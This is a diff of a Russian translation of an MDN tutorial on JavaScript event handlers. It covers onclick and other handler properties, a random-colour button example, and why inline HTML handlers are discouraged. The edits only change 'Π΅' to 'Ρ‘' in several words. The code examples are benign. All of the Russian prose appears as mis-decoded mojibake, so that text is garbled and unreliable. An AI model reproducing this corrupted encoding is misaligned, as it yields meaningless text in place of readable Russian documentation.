+<p><span>КаТдоС доступноС событиС ΠΈΠΌΠ΅Π΅Ρ‚ </span><strong>ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ событий<strong>Β </strong></strong>β€”<span>Β Π±Π»ΠΎΠΊ ΠΊΠΎΠ΄Π° (ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ это функция JavaScript, вводимая Π²Π°ΠΌΠΈ Π² качСствС Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°), ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉΒ Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒΡΡ ΠΏΡ€ΠΈ срабатывании события. Когда Ρ‚Π°ΠΊΠΎΠΉ Π±Π»ΠΎΠΊ ΠΊΠΎΠ΄Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½ на запуск в ΠΎΡ‚Π²Π΅Ρ‚ Π½Π° возникновСниС события, ΠΌΡ‹ Π³ΠΎΠ²ΠΎΡ€ΠΈΠΌ, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ </span><strong>рСгистрируСм ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ событий</strong><span>. ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ событий ΠΈΠ½ΠΎΠ³Π΄Π° Π½Π°Π·Ρ‹Π²Π°ΡŽΡ‚ </span><strong>ΡΠ»ΡƒΡˆΠ°Ρ‚Π΅Π»ΡΠΌΠΈ событий (ΠΎΡ‚ Π°Π½Π³Π». event listeners).</strong><span> Они Π² Π·Π½Π°Ρ‡ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΉ стСпСни взаимозамСняСмы для Π½Π°ΡˆΠΈΡ… Ρ†Π΅Π»Π΅ΠΉ, хотя, строго говоря, ΠΎΠ½ΠΈ Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‚ вмСстС. Π‘Π»ΡƒΡˆΠ°Ρ‚Π΅Π»ΡŒΒ ΠΎΡ‚ΡΠ»Π΅ΠΆΠΈΠ²Π°Π΅Ρ‚ событиС, Π°Β ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ </span>β€”Β <span>это ΠΊΠΎΠ΄, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ запускаСтся Π² ΠΎΡ‚Π²Π΅Ρ‚ Π½Π° событиС.</span></p>
<div class="note">
<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong> Π’Π°ΠΆΠ½ΠΎ ΠΎΡ‚ΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ Π²Π΅Π±-события Π½Π΅ ΡΠ²Π»ΡΡŽΡ‚ΡΡ Ρ‡Π°ΡΡ‚ΡŒΡŽ основного языка JavaScript. Они ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Ρ‹ ΠΊΠ°ΠΊ Ρ‡Π°ΡΡ‚ΡŒ JavaScript-API, встроСнных Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€.</p>
@@ -77,9 +77,9 @@ btn.onclick = function() {
document.body.style.backgroundColor = rndCol;
}</pre>
-<p>Π’ этом ΠΊΠΎΠ΄Π΅ ΠΌΡ‹ сохраняСм ссылку Π½Π° ΠΊΠ½ΠΎΠΏΠΊΡƒ Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ <code>btn</code>Β Ρ‚ΠΈΠΏΠ° <code>const</code>, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ {{domxref ("Document.querySelector()")}}. ΠœΡ‹ Ρ‚Π°ΠΊΠΆΠ΅ опрСдСляСм Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, которая Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ случайноС число. Π’Ρ€Π΅Ρ‚ΡŒΡ Ρ‡Π°ΡΡ‚ΡŒ ΠΊΠΎΠ΄Π° β€” <a href="#Бвойства_ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°_событий">ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ события</a>. ΠŸΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Π°Ρ <code>btn</code> ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π½Π° элСмСнт <code>&lt;button&gt;</code> — для этого Ρ‚ΠΈΠΏΠ° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‚ Π²ΠΎΠ·Π½ΠΈΠΊΠ°ΡŽΡ‰ΠΈΠ΅ ΠΏΡ€ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠΌ взаимодСйствии с Π½ΠΈΠΌ события, Π° Π·Π½Π°Ρ‡ΠΈΡ‚, Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Π½ΠΈΠ΅Β ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠ²Β ΡΠΎΠ±Ρ‹Ρ‚ΠΈΠΉ. ΠœΡ‹ отслСТиваСм ΠΌΠΎΠΌΠ΅Π½Ρ‚ возникновСния события ΠΏΡ€ΠΈ Ρ‰Π΅Π»Ρ‡ΠΊΠ΅ ΠΌΡ‹ΡˆΡŒΡŽ, связывая свойство ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° события <code>onclick</code> с Π°Π½ΠΎΠ½ΠΈΠΌΠ½ΠΎΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠ΅ΠΉ, Π³Π΅Π½Π΅Ρ€ΠΈΡ€ΡƒΡŽΡ‰Π΅ΠΉ случайный Ρ†Π²Π΅Ρ‚ RGB ΠΈ ΡƒΡΡ‚Π°Π½Π°Π²Π»ΠΈΠ²Π°ΡŽΡ‰Π΅ΠΉ Π΅Π³ΠΎ Π² качСствС Ρ†Π²Π΅Ρ‚Π° Ρ„ΠΎΠ½Π° элСмСнта <code>&lt;body&gt;</code>.</p>
+<p>Π’ этом ΠΊΠΎΠ΄Π΅ ΠΌΡ‹ сохраняСм ссылку Π½Π° ΠΊΠ½ΠΎΠΏΠΊΡƒ Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ <code>btn</code>Β Ρ‚ΠΈΠΏΠ° <code>const</code>, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ {{domxref ("Document.querySelector()")}}. ΠœΡ‹ Ρ‚Π°ΠΊΠΆΠ΅ опрСдСляСм Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, которая Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ случайноС число. Π’Ρ€Π΅Ρ‚ΡŒΡ Ρ‡Π°ΡΡ‚ΡŒ ΠΊΠΎΠ΄Π° β€” <a href="#Бвойства_ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°_событий">ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ события</a>. ΠŸΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Π°Ρ <code>btn</code> ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π½Π° элСмСнт <code>&lt;button&gt;</code> — для этого Ρ‚ΠΈΠΏΠ° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‚ Π²ΠΎΠ·Π½ΠΈΠΊΠ°ΡŽΡ‰ΠΈΠ΅ ΠΏΡ€ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΌ взаимодСйствии с Π½ΠΈΠΌ события, Π° Π·Π½Π°Ρ‡ΠΈΡ‚, Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Π½ΠΈΠ΅Β ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠ²Β ΡΠΎΠ±Ρ‹Ρ‚ΠΈΠΉ. ΠœΡ‹ отслСТиваСм ΠΌΠΎΠΌΠ΅Π½Ρ‚ возникновСния события ΠΏΡ€ΠΈ Ρ‰Π΅Π»Ρ‡ΠΊΠ΅ ΠΌΡ‹ΡˆΡŒΡŽ, связывая свойство ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° события <code>onclick</code> с Π°Π½ΠΎΠ½ΠΈΠΌΠ½ΠΎΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠ΅ΠΉ, Π³Π΅Π½Π΅Ρ€ΠΈΡ€ΡƒΡŽΡ‰Π΅ΠΉ случайный Ρ†Π²Π΅Ρ‚ RGB ΠΈ ΡƒΡΡ‚Π°Π½Π°Π²Π»ΠΈΠ²Π°ΡŽΡ‰Π΅ΠΉ Π΅Π³ΠΎ Π² качСствС Ρ†Π²Π΅Ρ‚Π° Ρ„ΠΎΠ½Π° элСмСнта <code>&lt;body&gt;</code>.</p>
-<p>Π­Ρ‚ΠΎΡ‚ ΠΊΠΎΠ΄ Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒΡΡ всякий Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° Π²ΠΎΠ·Π½ΠΈΠΊΠ°Π΅Ρ‚ событиС ΠΏΡ€ΠΈ Π½Π°ΠΆΠ°Ρ‚ΠΈΠΈ Π½Π° элСмСнт <code>&lt;button&gt;</code>Β β€” всякий Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Ρ‰Π΅Π»ΠΊΠ°Π΅Ρ‚ ΠΏΠΎ Π½Π΅ΠΌΡƒ.</p>
+<p>Π­Ρ‚ΠΎΡ‚ ΠΊΠΎΠ΄ Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒΡΡ всякий Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° Π²ΠΎΠ·Π½ΠΈΠΊΠ°Π΅Ρ‚ событиС ΠΏΡ€ΠΈ Π½Π°ΠΆΠ°Ρ‚ΠΈΠΈ Π½Π° элСмСнт <code>&lt;button&gt;</code>Β β€” всякий Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Ρ‰Ρ‘Π»ΠΊΠ°Π΅Ρ‚ ΠΏΠΎ Π½Π΅ΠΌΡƒ.</p>
<p>ΠŸΡ€ΠΈΠΌΠ΅Ρ€ Π²Ρ‹Π²ΠΎΠ΄Π° выглядит ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ:</p>
@@ -101,7 +101,7 @@ btn.onclick = function() {
<h3 id="Бвойства_ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°_событий">Бвойства ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° событий</h3>
-<p>Π’ этом курсС Π²Ρ‹ ΡƒΠΆΠ΅ ΡΡ‚Π°Π»ΠΊΠΈΠ²Π°Π»ΠΈΡΡŒ со свойствами, связываСмыми с алгоритмом Ρ€Π°Π±ΠΎΡ‚Ρ‹ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° событий. ВСрнСмся ΠΊ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠΌΡƒ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ:</p>
+<p>Π’ этом курсС Π²Ρ‹ ΡƒΠΆΠ΅ ΡΡ‚Π°Π»ΠΊΠΈΠ²Π°Π»ΠΈΡΡŒ со свойствами, связываСмыми с алгоритмом Ρ€Π°Π±ΠΎΡ‚Ρ‹ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° событий. ВСрнёмся ΠΊ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠΌΡƒ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ:</p>
<pre class="brush: js notranslate">const btn = document.querySelector('button');
@@ -125,7 +125,7 @@ btn.onclick = bgChange;</pre>
<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ поэкспСримСнтируСм с Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ свойствами обработчика событий.</p>
-<p>Π‘ΠΎΠ·Π΄Π°ΠΉΡ‚Π΅ Π»ΠΎΠΊΠ°Π»ΡŒΠ½ΡƒΡŽ копию Ρ„Π°ΠΉΠ»Π°Β <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/events/random-color-eventhandlerproperty.html">random-color-eventhandlerproperty.html</a> ΠΈ ΠΎΡ‚ΠΊΡ€ΠΎΠΉΡ‚Π΅ Π΅Π΅ Π² своСм Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅. Π­Ρ‚ΠΎ всСго лишь копия простого ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π° ΠΏΡ€ΠΎ случайныС Ρ†Π²Π΅Ρ‚Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ ΡƒΠΆΠ΅ Ρ€Π°Π·ΠΎΠ±Ρ€Π°Π»ΠΈ Π² этой ΡΡ‚Π°Ρ‚ΡŒΠ΅. Π’Π΅ΠΏΠ΅Ρ€ΡŒ ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ <code>btn.onclick</code> Π½Π° ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ значСния и ΠΏΠΎΠ½Π°Π±Π»ΡŽΠ΄Π°ΠΉΡ‚Π΅ Π·Π° Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π°ΠΌΠΈ:</p>
+<p>Π‘ΠΎΠ·Π΄Π°ΠΉΡ‚Π΅ Π»ΠΎΠΊΠ°Π»ΡŒΠ½ΡƒΡŽ копию Ρ„Π°ΠΉΠ»Π°Β <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/events/random-color-eventhandlerproperty.html">random-color-eventhandlerproperty.html</a> ΠΈ ΠΎΡ‚ΠΊΡ€ΠΎΠΉΡ‚Π΅ Π΅Ρ‘ Π² своём Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅. Π­Ρ‚ΠΎ всСго лишь копия простого ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π° ΠΏΡ€ΠΎ случайныС Ρ†Π²Π΅Ρ‚Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ ΡƒΠΆΠ΅ Ρ€Π°Π·ΠΎΠ±Ρ€Π°Π»ΠΈ Π² этой ΡΡ‚Π°Ρ‚ΡŒΠ΅. Π’Π΅ΠΏΠ΅Ρ€ΡŒ ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ <code>btn.onclick</code> Π½Π° ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ значСния и ΠΏΠΎΠ½Π°Π±Π»ΡŽΠ΄Π°ΠΉΡ‚Π΅ Π·Π° Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π°ΠΌΠΈ:</p>
<ul>
<li><code><a href="https://developer.mozilla.org/en-US/docs/Web/API/GlobalEventHandlers/onfocus">btn.onfocus</a></code> ΠΈ <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/GlobalEventHandlers/onblur">btn.onblur</a></code> β€” Π¦Π²Π΅Ρ‚ измСнится, ΠΊΠΎΠ³Π΄Π° ΠΊΠ½ΠΎΠΏΠΊΠ° Π±ΡƒΠ΄Π΅Ρ‚ сфокусирована ΠΈΠ»ΠΈ Π½Π΅ сфокусирована (ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ Π½Π°ΠΆΠ°Ρ‚ΡŒ Tab, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒΒ ΠΊΠ½ΠΎΠΏΠΊΡƒ ΠΈΠ»ΠΈ ΡƒΠ±Ρ€Π°Ρ‚ΡŒ Π²Ρ‹Π±ΠΎΡ€). Π­Ρ‚ΠΈ свойства часто ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡŽΡ‚ΡΡ для отобраТСния ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎ Ρ‚ΠΎΠΌ, ΠΊΠ°ΠΊ Π·Π°ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ поля Ρ„ΠΎΡ€ΠΌΡ‹, ΠΊΠΎΠ³Π΄Π° ΠΎΠ½ΠΈ сфокусированы, ΠΈΠ»ΠΈ ΠΎΡ‚ΠΎΠ±Ρ€Π°Π·ΠΈΡ‚ΡŒ сообщСниС ΠΎΠ± ошибкС, Ссли ΠΏΠΎΠ»Π΅ Ρ„ΠΎΡ€ΠΌΡ‹Β Π±Ρ‹Π»ΠΎ Π·Π°ΠΏΠΎΠ»Π½Π΅Π½ΠΎ с Π½Π΅ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹ΠΌ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ.</li>
@@ -134,11 +134,11 @@ btn.onclick = bgChange;</pre>
<li><code><a href="/en-US/docs/Web/API/GlobalEventHandlers/onmouseover">btn.onmouseover</a></code> ΠΈ <code><a href="/en-US/docs/Web/API/GlobalEventHandlers/onmouseout">btn.onmouseout</a></code> β€” Π¦Π²Π΅Ρ‚ Π±ΡƒΠ΄Π΅Ρ‚ ΠΌΠ΅Π½ΡΡ‚ΡŒΡΡ ΠΏΡ€ΠΈ Π½Π°Π²Π΅Π΄Π΅Π½ΠΈΠΈ указатСля ΠΌΡ‹ΡˆΠΈ Π½Π°Β ΠΊΠ½ΠΎΠΏΠΊΡƒ ΠΈΠ»ΠΈ ΠΊΠΎΠ³Π΄Π° ΡƒΠΊΠ°Π·Π°Ρ‚Π΅Π»ΡŒ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚Π²ΠΎΠ΄ΠΈΡ‚ΡŒΡΡ ΠΎΡ‚ ΠΊΠ½ΠΎΠΏΠΊΠΈ соотвСтствСнно.</li>
</ul>
-<p>НСкоторыС события ΠΎΡ‡Π΅Π½ΡŒ ΠΎΠ±Ρ‰ΠΈΠ΅ ΠΈ доступны практичСски Π² любом мСстС (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ <code>onclick</code> ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ зарСгистрирован практичСски для любого элСмСнта), Ρ‚ΠΎΠ³Π΄Π° ΠΊΠ°ΠΊ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠ· Π½ΠΈΡ… Π±ΠΎΠ»Π΅Π΅ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Ρ‹ ΠΈ ΠΏΠΎΠ»Π΅Π·Π½Ρ‹ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… ситуациях (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΈΠΌΠ΅Π΅Ρ‚ смысл ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ <a href="https://developer.mozilla.org/en-US/docs/Web/API/GlobalEventHandlers/GlobalEventHandlers.onplay">onplay</a> Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… элСмСнтов, Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ {{htmlelement ("video")}}).</p>
+<p>НСкоторыС события ΠΎΡ‡Π΅Π½ΡŒ ΠΎΠ±Ρ‰ΠΈΠ΅ ΠΈ доступны практичСски Π² любом мСстС (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ <code>onclick</code> ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ зарСгистрирован практичСски для любого элСмСнта), Ρ‚ΠΎΠ³Π΄Π° ΠΊΠ°ΠΊ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠ· Π½ΠΈΡ… Π±ΠΎΠ»Π΅Π΅ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Ρ‹ ΠΈ ΠΏΠΎΠ»Π΅Π·Π½Ρ‹ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… ситуациях (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΈΠΌΠ΅Π΅Ρ‚ смысл ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ <a href="https://developer.mozilla.org/en-US/docs/Web/API/GlobalEventHandlers/GlobalEventHandlers.onplay">onplay</a> Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… элСмСнтов, Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ {{htmlelement ("video")}}).</p>
<h3 id="ВстроСнныС_ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ_событий_-_Π½Π΅_ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅_ΠΈΡ…">ВстроСнныС обработчики событий - Π½Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ ΠΈΡ…</h3>
-<p>Π‘Π°ΠΌΡ‹ΠΉ Ρ€Π°Π½Π½ΠΈΠΉ ΠΈΠ·Β Π²Π²Π΅Π΄Π΅Π½Π½Ρ‹Ρ… Π² ΡΠ΅Ρ‚ΡŒ Web ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² рСгистрации <em>ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠ² событий</em> базируСтся Π½Π°Β <strong>HTML Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°Ρ…Β </strong>(<strong>встроСнныС ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ событий</strong>):</p>
+<p>Π‘Π°ΠΌΡ‹ΠΉ Ρ€Π°Π½Π½ΠΈΠΉ ΠΈΠ·Β Π²Π²Π΅Π΄Ρ‘Π½Π½Ρ‹Ρ… Π² ΡΠ΅Ρ‚ΡŒ Web ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² рСгистрации <em>ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠ² событий</em> базируСтся Π½Π°Β <strong>HTML Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°Ρ…Β </strong>(<strong>встроСнныС ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ событий</strong>):</p>
<pre class="brush: html notranslate">&lt;button onclick="bgChange()"&gt;Press me&lt;/button&gt;
</pre>
@@ -152,7 +152,7 @@ btn.onclick = bgChange;</pre>
<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°ΠΉΡ‚ΠΈΒ <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/events/random-color-eventhandlerattributes.html">ΠΏΠΎΠ»Π½Ρ‹ΠΉ исходник ΠΊΠΎΠ΄Π°</a>Β ΠΈΠ· этого ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π° Π½Π°Β GitHub (Ρ‚Π°ΠΊΠΆΠ΅Β <a href="http://mdn.github.io/learning-area/javascript/building-blocks/events/random-color-eventhandlerattributes.html">взглянитС Π½Π° Π΅Π³ΠΎ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅</a>).</p>
</div>
-<p>Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° β€”Β  это Π±ΡƒΠΊΠ²Π°Π»ΡŒΠ½ΠΎ ΠΊΠΎΠ΄ JavaScript, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ ΠΏΡ€ΠΈ Π²ΠΎΠ·Π½ΠΈΠΊΠ½ΠΎΠ²Π΅Π½ΠΈΠΈ события. Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠΌ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ вызываСтся функция, опрСдСлСнная Π²Π½ΡƒΡ‚Ρ€ΠΈ элСмСнта {{htmlelement ("script")}} Π½Π° Ρ‚ΠΎΠΉ ΠΆΠ΅ страницС, Π½ΠΎ Π²Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ JavaScript нСпосрСдствСнно Π²Π½ΡƒΡ‚Ρ€ΠΈ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€:</p>
+<p>Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° β€”Β  это Π±ΡƒΠΊΠ²Π°Π»ΡŒΠ½ΠΎ ΠΊΠΎΠ΄ JavaScript, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ ΠΏΡ€ΠΈ Π²ΠΎΠ·Π½ΠΈΠΊΠ½ΠΎΠ²Π΅Π½ΠΈΠΈ события. Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠΌ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ вызываСтся функция, опрСдСлённая Π²Π½ΡƒΡ‚Ρ€ΠΈ элСмСнта {{htmlelement ("script")}} Π½Π° Ρ‚ΠΎΠΉ ΠΆΠ΅ страницС, Π½ΠΎ Π²Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ JavaScript нСпосрСдствСнно Π²Π½ΡƒΡ‚Ρ€ΠΈ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€:</p>
<pre class="brush: html notranslate">&lt;button onclick="alert('Hello, this is my old-fashioned event handler!');"&gt;Press me&lt;/button&gt;</pre>
@@ -182,7 +182,7 @@ for (var i = 0; i &lt; buttons.length; i++) {
